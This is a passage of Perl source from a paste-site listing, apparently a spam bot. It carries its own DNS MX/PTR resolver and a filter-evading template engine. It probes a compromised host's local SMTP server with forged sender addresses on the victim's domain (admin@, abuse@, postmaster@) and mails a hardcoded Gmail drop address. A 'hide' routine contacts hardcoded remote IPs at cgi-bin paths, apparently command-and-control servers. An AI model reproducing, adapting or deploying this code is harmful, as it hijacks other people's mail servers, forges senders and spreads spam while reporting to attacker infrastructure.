  1072. {
  1073. $socket->recv ($buffer, 512);
  1074. }
  1075. else
  1076. {
  1077. close $socket;
  1078. return;
  1079. }
  1080. close $socket;
  1081. my ($resp, $text) = &nsparser($packid, $buffer, $offset, $type, $recursion);
  1082. return $resp;
  1083. }
  1084. #
  1085. sub nsparser
  1086. {
  1087. my ($packid, $buffer, $offset, $type, $recursion) = @_;
  1088. if (!defined $buffer || length $buffer < 12)
  1089. {
  1090. return (0, "Response error");
  1091. }
  1092. @_ = unpack ("nC2n4", $buffer);
  1093. my $header =
  1094. {
  1095. id      => $_[0],
  1096. qr      => ($_[1] >> 7) & 1,
  1097. opcode  => ($_[1] >> 3) & 15,
  1098. aa      => ($_[1] >> 2) & 1,
  1099. tc      => ($_[1] >> 1) & 1,
  1100. rd      => $_[1] & 1,
  1101. ra      => ($_[2] >> 7) & 1,
  1102. z       => ($_[2] >> 4) & 6,
  1103. rcode   => $_[2] & 15,
  1104. qdcount => $_[3],
  1105. ancount => $_[4],
  1106. nscount => $_[5],
  1107. arcount => $_[6]
  1108. };
  1109. return (0, "Sync error") if $header->{id} != $packid;
  1110. if ($type == 6)
  1111. {
  1112. $header->{rcode} = 0;
  1113. $header->{ancount} = $header->{nscount};
  1114. }
  1115. return (undef, "Object not exists") if $header->{rcode} != 0;
  1116. unless ($recursion)
  1117. {
  1118. return (0, "No recursion") if !$header->{ra};
  1119. }
  1120. return (undef, "No data") if !$header->{ancount};
  1121. #
  1122. return (undef, "Response truncated") if $header->{tc};
  1123. return (0, "Response error") if length $buffer < $offset;
  1124. my $result = {};
  1125. for (1..$header->{ancount})
  1126. {
  1127. (my $rdata, $offset) = &nsunpack($buffer, $offset);
  1128. if (!defined $rdata || length $buffer < $offset + 10)
  1129. {
  1130. return (0, "Response error");
  1131. }
  1132. my ($rtype, $rclass, $rttl, $rlength) = unpack ("\@$offset n2 N n", $buffer);
  1133. $offset += 10;
  1134. return (0, "Response error") if length $buffer < $offset + $rlength;
  1135. if ($type == 1)
  1136. {
  1137. $rdata = inet_ntoa(substr ($buffer, $offset, 4));
  1138. $offset += $rlength;
  1139. $result->{$rdata} = 1 if $rtype == 1;
  1140. }
  1141. elsif ($type == 2)
  1142. {
  1143. ($rdata, $offset) = &nsunpack($buffer, $offset);
  1144. return (0, "Response error") if !defined $rdata;
  1145. $result->{$rdata} = 1 if $rtype == 2;
  1146. }
  1147. elsif ($type == 6)
  1148. {
  1149. ($rdata, $offset) = &nsunpack($buffer, $offset);
  1150. return (0, "Response error") if !defined $rdata;
  1151. $result->{$rdata} = 1 if $rtype == 6;
  1152. ($rdata, $offset) = &dnsunpack($buffer, $offset);
  1153. if (!defined $rdata || length $buffer < $offset + 20)
  1154. {
  1155. return (0, "Response error");
  1156. }
  1157. my ($ser, $ref, $ret, $exp, $min) = unpack ("\@$offset N5", $buffer);
  1158. }
  1159. elsif ($type == 12)
  1160. {
  1161. ($rdata, $offset) = &nsunpack($buffer, $offset);
  1162. return (0, "Response error") if !defined $rdata;
  1163. $result->{$rdata} = 1 if $rtype == 12;
  1164. }
  1165. elsif ($type == 15)
  1166. {
  1167. my $priority = unpack ("n", substr ($buffer, $offset, 2));
  1168. ($rdata, $offset) = &nsunpack($buffer, $offset + 2);
  1169. return (0, "Response error") if !defined $rdata;
  1170. $result->{$rdata} = $priority if $rtype == 15;
  1171. }
  1172. }
  1173. $result = (sort {$result->{$a} <=> $result->{$b}} keys %$result)[0];
  1174. }
  1175. #
  1176. sub nsunpack
  1177. {
  1178. my ($packet, $offset) = @_;
  1179. my $rdata = "";
  1180. while (1)
  1181. {
  1182. return if length $packet < $offset + 1;
  1183. my $length = unpack ("\@$offset C", $packet);
  1184. if (!$length)
  1185. {
  1186. $offset ++;
  1187. last;
  1188. }
  1189. elsif (($length & 192) == 192)
  1190. {
  1191. return if length $packet < $offset + 2;
  1192. my $next = unpack ("\@$offset n", $packet);
  1193. $next &= 16383;
  1194. ($next) = &nsunpack($packet, $next);
  1195. return if !defined $next;
  1196. $rdata .= $next;
  1197. $offset += 2;
  1198. last;
  1199. }
  1200. else
  1201. {
  1202. $offset ++;
  1203. return if length $packet < $offset + $length;
  1204. my $next = substr ($packet, $offset, $length);
  1205. $next =~ s/\./\\./g;
  1206. $rdata .= "$next.";
  1207. $offset += $length;
  1208. }
  1209. }
  1210. $rdata =~ s/\.$//;
  1211. return ($rdata, $offset);
  1212. }
  1213. #
  1214. sub mail
  1215. {
  1216. my $line = shift;
  1217. return if !defined $$line || $$line !~ /^[^\@]+\@[^\@]+\.[^\@]+$/;
  1218. my ($name, $mail, $info) = $$line =~ /\s*(.*?)[\s\|<]*([^\s|<]+\@[^>\|\s]+)>*(.*)$/;
  1219. return if !$mail;
  1220. $info =~ s/.*?\|[\s\|]*(.+?)[\s\|]*$/$1/ if length $info;
  1221. return (\$mail, \$name, \$info);
  1222. }
  1223. #
  1224. sub data
  1225. {
  1226. my ($to, $from, $b) = @_;
  1227. my $time = time;
  1228. my $zone = sprintf ("%s%02d00", $b->{timezone}[0], $b->{timezone}[1]);
  1229. my $date = localtime $time; $date =~ s/^(\w+)\s+(\w+)\s+(\d+)\s+(\d+):(\d+):(\d+)\s+(\d+)$/sprintf "$1, $3 $2 $7 $4:$5:$6 %s", $zone/e;
  1230. my $wday = {Mon => "Monday", Tue => "Tuesday", Wed => "Wednesday", Thu => "Thursday", Fri => "Friday", Sat => "Saturday", Sun => "Sunday"}->{$1};
  1231. my $nmon = {Jan => 1, Feb => 2, Mar => 3, Apr => 4, May => 5, Jun => 6, Jul => 7, Aug => 8, Sep => 9, Oct => 10, Nov => 11, Dec => 12}->{$2};
  1232. my $tmon = ["January", "February", "March", "April", "May", "June", "July", "August", "September", "October", "November", "December"]->[$nmon - 1];
  1233. my $ampm = "AM"; my $hour = int $4; $ampm = "PM" if $hour == 12; $hour = 12 if $hour == 0; if ($hour > 12) { $ampm = "PM"; $hour -= 12; }
  1234. $date =
  1235. {
  1236. DATE    => $date,
  1237. WWWW    => $wday,
  1238. WWW     => $1,
  1239. DD      => sprintf ("%02d", $3),
  1240. D       => $3,
  1241. MMMM    => $tmon,
  1242. MMM     => $2,
  1243. MM      => sprintf ("%02d", $nmon),
  1244. M       => $nmon,
  1245. YYYY    => $7,
  1246. YY      => substr ($7, -2),
  1247. Z       => $zone,
  1248. TT      => $ampm,
  1249. tt      => lc $ampm,
  1250. HH      => $4,
  1251. H       => int $4,
  1252. hh      => sprintf ("%02d", $hour),
  1253. h       => $hour,
  1254. mm      => $5,
  1255. m       => int $5,
  1256. ss      => $6,
  1257. s       => int $6
  1258. };
  1259. my ($mail, $name) = &mail(\$from);
  1260. my ($user, $host) = split (/\@/, $$mail);
  1261. $from = {ADDR => length $$name ? "$$name <$$mail>" : "<$$mail>", NAME => length $$name ? $$name : "", MAIL => $$mail, USER => $user, HOST => $host};
  1262. my $replyto = $from;
  1263. if ($b->{from}[0] ne $b->{replyto}[0])
  1264. {
  1265. ($mail, $name) = &mail(\@{$b->{replyto}}[int rand scalar @{$b->{replyto}}]);
  1266. ($user, $host) = split (/\@/, $$mail);
  1267. $replyto = {ADDR => length $$name ? "$$name <$$mail>" : "<$$mail>", NAME => length $$name ? $$name : "", MAIL => $$mail, USER => $user, HOST => $host};
  1268. }
  1269. if ($b->{method} == 0)
  1270. {
  1271. #
  1272. @_ = ();
  1273. foreach (@$to) { ($mail, $name) = &mail(\$_); $_ = length $$name ? "$$name <$$mail>" : "<$$mail>"; push @_, $_; }
  1274. ($user, $host) = split (/\@/, $$mail);
  1275. $to = {ADDR => join (",\x0D\x0A\x20\x20\x20\x20\x20\x20\x20\x20", @_), NAME => length $$name ? $$name : "", MAIL => $$mail, USER => $user, HOST => $host};
  1276. }
  1277. else
  1278. {
  1279. #
  1280. ($mail, $name) = &mail(\$to->[0]);
  1281. ($user, $host) = split (/\@/, $$mail);
  1282. $to = {ADDR => length $$name ? "$$name <$$mail>" : "<$$mail>", NAME => length $$name ? $$name : "", MAIL => $$mail, USER => $user, HOST => $host};
  1283. }
  1284. my $head =
  1285. {
  1286. HELO        => $b->{helo},
  1287. TYPE        => $b->{type} ? "html" : "plain",
  1288. SUBJECT     => @{$b->{subject}}[int rand scalar @{$b->{subject}}],
  1289. CHARSET     => $b->{charset},
  1290. ENCODING    => $b->{charset} eq "windows-1251" ? "8bit" : "7bit",
  1291. NPRIORITY   => (5 - $b->{priority} * $b->{priority} - ($b->{priority} == 1 ? 1 : 0)),
  1292. TPRIORITY   => ["Low", "Normal", "High"]->[$b->{priority}],
  1293. MESSAGEID   => sprintf ("%08x\.%04x%04x", int ($time * 0.0023283064365387 + 27111902.8329849), int rand 32769, int rand 32769)
  1294. };
  1295. my $letter = length $b->{letter} ? sprintf ("%s%s%s", $b->{header}, "\x0D\x0A\x0D\x0A", $b->{letter}) : $b->{header};
  1296. $letter =~ s/\%$_\%/$head->{$_}/g foreach (keys %$head);
  1297. $letter =~ s/\%$_\%/$date->{$_}/g foreach (keys %$date);
  1298. $letter =~ s/\%FROM$_\%/$from->{$_}/g foreach (keys %$from);
  1299. $letter =~ s/\%REPLYTO$_\%/$replyto->{$_}/g foreach (keys %$replyto);
  1300. $letter =~ s/\%TO$_\%/$to->{$_}/g foreach (keys %$to);
  1301. &tag(\$letter);
  1302. if (!length $b->{letter})
  1303. {
  1304. $letter =~ s/\x0D//gm;
  1305. $letter =~ s/\x0A/\x0D\x0A/gm;
  1306. }
  1307. return $letter;
  1308. }
  1309. #
  1310. sub quoted ($)
  1311. {
  1312. my $line = shift;
  1313. $line =~ s/([^ \t\x0D\x0A!"#\$%&'()*+,\-.\/0-9:;<>?\@A-Z[\\\]^_`a-z{|}~])/sprintf ("=%02X", ord ($1))/eg;
  1314. $line =~ s/([ \t]+)$/join ("", map {sprintf ("=%02X", ord ($_))} split ("", $1))/egm;
  1315. my $lines = "";
  1316. $lines .= "$1=\x0D\x0A" while $line =~ s/(.*?^[^\x0D\x0A]{71}(?:[^=\x0D\x0A]{2}(?![^=\x0D\x0A]{0,1}$)|[^=\x0D\x0A](?![^=\x0D\x0A]{0,2}$)|(?![^=\x0D\x0A]{0,3}$)))//xsm;
  1317. $lines .= $line;
  1318. return $lines;
  1319. }
  1320. #
  1321. sub tag
  1322. {
  1323. my $line = shift;
  1324. my $save = [];
  1325. $$line =~ s/\[random\]([^\[]*)\[\/random\]({\d+,\d+})?(\((\d+)\))?/&tagrandom($1, $2, $4, \$save)/eg;
  1326. $$line =~ s/\[string\]([^\[]*)\[\/string\](\((\d+)\))?/&tagstring($1, $3, \$save)/eg;
  1327. $$line =~ s/\%\[(\d+)\]/$1 < 64 && defined $save->[$1] ? $save->[$1] : ""/eg;
  1328. $$line =~ s/\[quot\](.*?)\[\/quot\]/&quoted($1)/egs;
  1329. }
  1330. #
  1331. sub tagrandom
  1332. {
  1333. my ($line, $spec, $cell, $save) = @_;
  1334. if (defined $line && length $line)
  1335. {
  1336. if (defined $spec && $spec =~ /^{(\d+),(\d+)}$/)
  1337. {
  1338. $spec = $2 > 64 ? 64 : $2;
  1339. $spec = $1 < $spec ? ($1 + int rand (1 + $spec - $1)) : $spec;
  1340. }
  1341. else
  1342. {
  1343. $spec = length $line;
  1344. $spec = 1 + ($spec > 64 ? int rand 64 : int rand $spec);
  1345. }
  1346. $line = [split (//, $line)];
  1347. $line = join ('', @$line[map {rand @$line}(1..$spec)]);
  1348. }
  1349. $line = defined $line ? $line : "";
  1350. $$save->[$cell] = $line if defined $cell && $cell < 64;
  1351. return $line;
  1352. }
  1353. #
  1354. sub tagstring
  1355. {
  1356. my ($line, $cell, $save) = @_;
  1357. if (defined $line && length $line)
  1358. {
  1359. $line = [split (/\|/, $line)];
  1360. $line = $line->[int rand scalar @$line];
  1361. }
  1362. $line = defined $line ? $line : "";
  1363. $$save->[$cell] = $line if defined $cell && $cell < 64;
  1364. return $line;
  1365. }
  1366. #
  1367. sub test
  1368. {
  1369. my $test = shift;
  1370. my $tcpcn = sub
  1371. {
  1372. my $h = shift;
  1373. my $p = shift;
  1374. my $t = shift;
  1375. if ($h = gethostbyname $h)
  1376. {
  1377. if (my $s = IO::Socket::INET->new(Proto => "tcp", Type => SOCK_STREAM))
  1378. {
  1379. $s->blocking(0);
  1380. unless ($s->connect($_ = sockaddr_in($p, $h)))
  1381. {
  1382. unless ($! == POSIX::EINPROGRESS || $! == POSIX::EWOULDBLOCK)
  1383. {
  1384. close $s;
  1385. return;
  1386. }
  1387. my $o = new IO::Select $s;
  1388. unless ($o->can_write($t))
  1389. {
  1390. close $s;
  1391. return;
  1392. }
  1393. unless ($s->connected)
  1394. {
  1395. close $s;
  1396. return;
  1397. }
  1398. }
  1399. $s->blocking(1);
  1400. return $s;
  1401. }
  1402. }
  1403. return;
  1404. };
  1405. my $tcprd = sub
  1406. {
  1407. my $s = shift;
  1408. my $t = shift;
  1409. my $b = shift;
  1410. $$b = "";
  1411. my $o = new IO::Select $s;
  1412. if ($o->can_read($t))
  1413. {
  1414. sysread $s, $$b, 8912;
  1415. }
  1416. else
  1417. {
  1418. close $s;
  1419. return;
  1420. }
  1421. return $s;
  1422. };
  1423. my $tcpwr = sub
  1424. {
  1425. my $s = shift;
  1426. my $t = shift;
  1427. my $b = shift;
  1428. my $o = new IO::Select $s;
  1429. if ($o->can_write($t))
  1430. {
  1431. syswrite $s, $b;
  1432. }
  1433. else
  1434. {
  1435. close $s;
  1436. return;
  1437. }
  1438. return $s;
  1439. };
  1440. my $time = 5;
  1441. my $host = "";
  1442. my $data = "";
  1443. if ($test)
  1444. {
  1445. @_ = ('ns.mail.ru', 'mail.ru', 'ns1.google.com', 'gmail.com', '208.67.222.222', 'yahoo.com');
  1446. while ($_ = shift @_)
  1447. {
  1448. $host = shift @_;
  1449. if ($data = gethostbyname $_)
  1450. {
  1451. $host = &nstest($_ = sockaddr_in(53, $data), $time, $host, "MX", 1);
  1452. next unless $host;
  1453. if (my $s = $tcpcn->($host, 25, $time))
  1454. {
  1455. if ($s = $tcprd->($s, $time, \$data))
  1456. {
  1457. close $s;
  1458. return 1 if length $data;
  1459. }
  1460. }
  1461. }
  1462. }
  1463. return 0;
  1464. }
  1465. $time = 5;
  1466. $host = "checkip.dyndns.org";
  1467. $data = "";
  1468. if (my $s = $tcpcn->($host, 80, $time))
  1469. {
  1470. if ($s = $tcpwr->($s, $time, "GET / HTTP 1.0\x0D\x0AHost: $host\x0D\x0A\x0D\x0A"))
  1471. {
  1472. if ($s = $tcprd->($s, $time, \$data))
  1473. {
  1474. close $s;
  1475. }
  1476. }
  1477. }
  1478. $host = "";
  1479. if ($data =~ /(\d+\.\d+\.\d+\.\d+)/)
  1480. {
  1481. $data = $1;
  1482. $host = &nstest($_ = sockaddr_in(53, pack ("C4", split (/\./, "68.105.29.237"))), $time, $data, "PTR");
  1483. $host = &nstest($_ = sockaddr_in(53, pack ("C4", split (/\./, "208.67.222.222"))), $time, $data, "PTR") unless $host;
  1484. $host = &nstest($_ = sockaddr_in(53, pack ("C4", split (/\./, "208.67.220.220"))), $time, $data, "PTR") unless $host;
  1485. $host = &nstest($_ = sockaddr_in(53, pack ("C4", split (/\./, "127.0.0.1"))), $time, $data, "PTR") unless $host;
  1486. }
  1487. my @from = ('a7189437@mail.com');
  1488. if ($host && $host =~ /\./)
  1489. {
  1490. @_ = split (/\./, $host);
  1491. while (2 <= scalar @_)
  1492. {
  1493. for (qw (support admin webmaster administrator www service tech customer robot noreply reply report post postmaster abuse))
  1494. {
  1495. push @from, join ('@', $_, join ('.', @_));
  1496. }
  1497. shift @_;
  1498. }
  1499. }
  1500. $host = "";
  1501. foreach my $mail (@from)
  1502. {
  1503. next unless (my $s = $tcpcn->("127.0.0.1", 25, $time));
  1504. #
  1505. $data = 'silver782@gmail.com';
  1506. my @smtp = ("", "HELO localhost", "", "MAIL FROM: <$mail>", "", "RCPT TO: <$data>", "", "DATA", "", "From: $mail\x0D\x0ATo: $data\x0D\x0ASubject: Test\x0D\x0A\x0D\x0ATest\x0D\x0A.", "", "QUIT", "");
  1507. my $last = "";
  1508. foreach (@smtp)
  1509. {
  1510. if (length $_)
  1511. {
  1512. $last = $_;
  1513. last unless ($s = $tcpwr->($s, $time, "$_\x0D\x0A"));
  1514. }
  1515. else
  1516. {
  1517. last unless ($s = $tcprd->($s, $time, \$data));
  1518. last if $data !~ /^(2|3)/;
  1519. $host = $mail if $last =~ /^From:/;
  1520. }
  1521. }
  1522. close $s if $s;
  1523. last if length $host;
  1524. }
  1525. return 0 if !length $host;
  1526. $host = "" if $host eq 'a7189437@mail.com';
  1527. return (1, $host);
  1528. }
  1529. sub hide
  1530. {
  1531. #
  1532. #
  1533. #
  1534. &main('194.54.81.163', '/cgi-bin/hn/hs.cgi');
  1535. &main('194.54.81.164', '/cgi-bin/hn/hs.cgi');
  1536. &main('194.54.81.162', '/cgi-bin/hn/hs.cgi');
  1537. &main('194.54.83.114', '/cgi-bin/network/net.cgi', 1);
  1538. #
  1539. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement